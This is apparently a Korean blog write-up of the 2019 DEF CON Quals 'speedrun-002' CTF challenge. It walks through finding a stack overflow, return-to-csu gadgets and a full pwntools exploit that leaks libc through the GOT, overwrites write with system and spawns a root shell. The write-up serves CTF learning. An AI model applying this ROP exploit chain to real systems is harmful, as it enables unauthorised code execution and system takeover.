본문 바로가기

CTF_Write_UP

[2019 DefCon Quals] speedrun-002

시작

안녕하세요 :D

주말 잘 보내고 계신가요!!

토요일을 하루 종일 speedrun-002와 보내게 되다니.. 쉽게 끝날 줄 알았는데 많은 것을 배웠네요ㅠㅠ

시작해볼까요?

Write UP

root@goorm:/tmp/DEFCON/speedrun/002# ./speedrun-002
We meet again on these pwning streets.
What say you now?
nonono
What a ho-hum thing to say.
Fare thee well.

pwning streets에서 또 만났대요. 입력을 받은 후 종료되는 프로그램입니다.

원래같았으면 BOF겠지!! 하면서 무작정 때렸을텐데, 이제부턴 ltrace 명령어를 통해 확실하게 짚고 넘어갈까 합니다

root@goorm:/tmp/DEFCON/speedrun/002# ltrace ./speedrun-002
setvbuf(0x7f52212e2400, 0, 2, 0)                                                     = 0
getenv("DEBUG")                                                                      = nil
alarm(5)                                                                             = 0
puts("We meet again on these pwning st"...We meet again on these pwning streets.
)                                          = 39
puts("What say you now?"What say you now?
)                                                            = 18
read(0nonono
, "nonono\n", 300)                                                             = 7
strncmp("nonono\n", "Everything intelligent is so bor"..., 36)                       = 41
puts("What a ho-hum thing to say."What a ho-hum thing to say.
)                                                  = 28
puts("Fare thee well."Fare thee well.
)                                                              = 16

이런 일이 일어나기 때문이죠ㅠㅠ 한참 삽질했습니다.

strncmp()로 문자열을 비교하는 부분이 있네요. strings 명령어로 무슨 문자열인지 확인해보겠습니다.

root@goorm:/tmp/DEFCON/speedrun/002# strings ./speedrun-002 | grep "Everything intelligent"
Everything intelligent is so boring.

저걸 그대로 줘볼까요?

root@goorm:/tmp/DEFCON/speedrun/002# ltrace ./speedrun-002
setvbuf(0x7f7027483400, 0, 2, 0)                                                     = 0
getenv("DEBUG")                                                                      = nil
alarm(5)                                                                             = 0
puts("We meet again on these pwning st"...We meet again on these pwning streets.
)                                          = 39
puts("What say you now?"What say you now?
)                                                            = 18
read(0Everything intelligent is so boring.
, "Everything intelligent is so bor"..., 300)                                  = 37
strncmp("Everything intelligent is so bor"..., "Everything intelligent is so bor"..., 36) = 0
puts("What an interesting thing to say"...What an interesting thing to say.
Tell me more.
)                                          = 48
read(0nonono
, "nonono\n", 2010)                                                            = 7
write(1, "Fascinating.\n", 13Fascinating.
)                                                       = 13
puts("Fare thee well."Fare thee well.
)                                                              = 16
+++ exited (status 0) +++

이제야 뭔가 BOF같은 BOF 입력 구문이 나왔습니다.

느낌 상 speedrun-001과 비슷하게 ROP gadget을 모아서 터뜨리면 될 것 같네요.

가젯을 찾아보죠!!

root@goorm:/tmp/DEFCON/speedrun/002# rp-lin-x64 -f ./speedrun-002 -r 1 | grep "pop rax ; ret"
root@goorm:/tmp/DEFCON/speedrun/002#

.. 가젯이 없네요. rsi랑 syscall 가젯도 없었습니다.

 


 

ROP에서 가젯은 함수를 연속적으로 호출하기 위한 필수 요소입니다.

이 문제와 같이 가젯이 부족할 때 사용할 수 있는 기법이 return to csu에요.

  400880:       4c 89 fa                mov    rdx,r15
  400883:       4c 89 f6                mov    rsi,r14
  400886:       44 89 ef                mov    edi,r13d
  400889:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40088d:       48 83 c3 01             add    rbx,0x1
  400891:       48 39 dd                cmp    rbp,rbx
  400894:       75 ea                   jne    400880 <setvbuf@plt+0x290>
  400896:       48 83 c4 08             add    rsp,0x8
  40089a:       5b                      pop    rbx
  40089b:       5d                      pop    rbp
  40089c:       41 5c                   pop    r12
  40089e:       41 5d                   pop    r13
  4008a0:       41 5e                   pop    r14
  4008a2:       41 5f                   pop    r15
  4008a4:       c3                      ret

__libc_csu_init 영역에서 다음과 같은 코드를 찾는 것입니다.

  400896:       48 83 c4 08             add    rsp,0x8
  40089a:       5b                      pop    rbx
  40089b:       5d                      pop    rbp
  40089c:       41 5c                   pop    r12
  40089e:       41 5d                   pop    r13
  4008a0:       41 5e                   pop    r14
  4008a2:       41 5f                   pop    r15
  4008a4:       c3                      ret

Stage 0, 이 부분에서 레지스터에 값을 넣어주고

  400880:       4c 89 fa                mov    rdx,r15
  400883:       4c 89 f6                mov    rsi,r14
  400886:       44 89 ef                mov    edi,r13d
  400889:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40088d:       48 83 c3 01             add    rbx,0x1
  400891:       48 39 dd                cmp    rbp,rbx
  400894:       75 ea                   jne    400880 <setvbuf@plt+0x290>

Stage 1, 그 값들을 edi, rsi, rdx로 옮긴 후 r12 + rbx * 8을 call합니다.

보시다시피 Stage 0과 1이 이어져있기 때문에 jmp 구문만 넘어간다면 연속적으로 함수 호출이 가능하죠.

이걸 활용해서 Exploit 해보겠습니다.

root@goorm:/tmp/DEFCON/speedrun/002# objdump -M intel -d ./speedrun-002

.

.

0000000000400600 <.text>:

.

.

  400880:       4c 89 fa                mov    rdx,r15
  400883:       4c 89 f6                mov    rsi,r14
  400886:       44 89 ef                mov    edi,r13d
  400889:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40088d:       48 83 c3 01             add    rbx,0x1
  400891:       48 39 dd                cmp    rbp,rbx
  400894:       75 ea                   jne    400880 <setvbuf@plt+0x290>
  400896:       48 83 c4 08             add    rsp,0x8
  40089a:       5b                      pop    rbx
  40089b:       5d                      pop    rbp
  40089c:       41 5c                   pop    r12
  40089e:       41 5d                   pop    r13
  4008a0:       41 5e                   pop    r14
  4008a2:       41 5f                   pop    r15
  4008a4:       c3                      ret
  4008a5:       90                      nop
  4008a6:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
  4008ad:       00 00 00
  4008b0:       f3 c3                   repz ret

Disassembly of section .fini:

00000000004008b4 <.fini>:
  4008b4:       48 83 ec 08             sub    rsp,0x8
  4008b8:       48 83 c4 08             add    rsp,0x8
  4008bc:       c3                      ret

이 파일은 .text 영역에 쓸만한 코드가 보이네요.

1. csu_stage_0 = 0x400896

2. csu_stage_1 = 0x400880

두 가젯을 구했습니다.

 


 

Exploit 시나리오는 다음과 같아요.

1. write@got를 leak

2. read()로 write@got overwrite

3. 바뀐 write() 호출, 쉘 획득

exploit.py를 간단하게 짰습니다.

#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *

e = ELF("./speedrun-002")
l = e.libc
p = process(e.path)

p.recvuntil("now?\n")
p.send("Everything intelligent is so boring.")

p.recvuntil("more.\n")

csu_stage_0 = 0x400896
csu_stage_1 = 0x400880

payload = ""

#BUF + SFP

payload += "A" * 1032

#RET

payload += p64(csu_stage_0)

#CSU Chaining

payload += "B" * 8              #add rsp, 8
payload += p64(0)               #pop rbx
payload += p64(1)               #pop rbp
payload += p64(e.got["write"])  #pop r12, call func
payload += p64(1)               #pop r13 (=edi)
payload += p64(e.got["write"])  #pop r14 (=rsi)
payload += p64(8)               #pop r15 (=rdx)
payload += p64(csu_stage_1)     #JUMP to stage 1, write(1, write@got, 8)

payload += "B" * 8              #add rsp, 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(0)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(csu_stage_1)     #read(0, write@got, 8), GOT overwirte

payload += "B" * 8              #add rsp, 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(0)
payload += p64(e.bss())
payload += p64(len("/bin/sh\x00"))
payload += p64(csu_stage_1)     #read(0, .bss, len("/bin/sh\x00"))

payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(e.got["write"])  #system
payload += p64(e.bss())
payload += p64(0)
payload += p64(0)
payload += p64(csu_stage_1)     #system("/bin/sh")

p.send(payload)

p.recvuntil("Fascinating.\n")

libc_write = u64(p.recv(8).ljust(8, "\x00"))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]

p.send(p64(libc_system))
p.send("/bin/sh\x00")

p.interactive()
root@goorm:/tmp/DEFCON/speedrun/002# ./exploit.py
[*] '/tmp/DEFCON/speedrun/002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/tmp/DEFCON/speedrun/002/speedrun-002': pid 1674
[*] Switching to interactive mode
$ whoami
root

Exploit!!

마무리

처음 들었을 떈 진짜 무슨 소린지 하나도 모르겠었는데

하루 종일 보다 보니 친해졌네요 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

많은 것을 배운 것 같아서 뿌듯합니다. 특히 pwntools에서 e.got[“write”]랑 l.symbols[“write”]같은 사기적인 기능이 있었다니..

이제 offset 구하려고 삽질 안해도 될 것 같습니다 ㅠㅠ!!!

DefCon 문제 2개 풀었네요 ㅎㅎ 감사합니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[2017 CSAW CTF] pilot  (0) 2019.05.30
[Codegate 2018] BaskinRobins31  (0) 2019.05.27
[2019 DefCon Quals] speedrun-001  (0) 2019.05.23
[Plaid CTF 2013 - ropasaurusrex] rop 공룡  (0) 2019.05.15
BOF : FTZ-무임승차 문제 분석  (0) 2019.04.13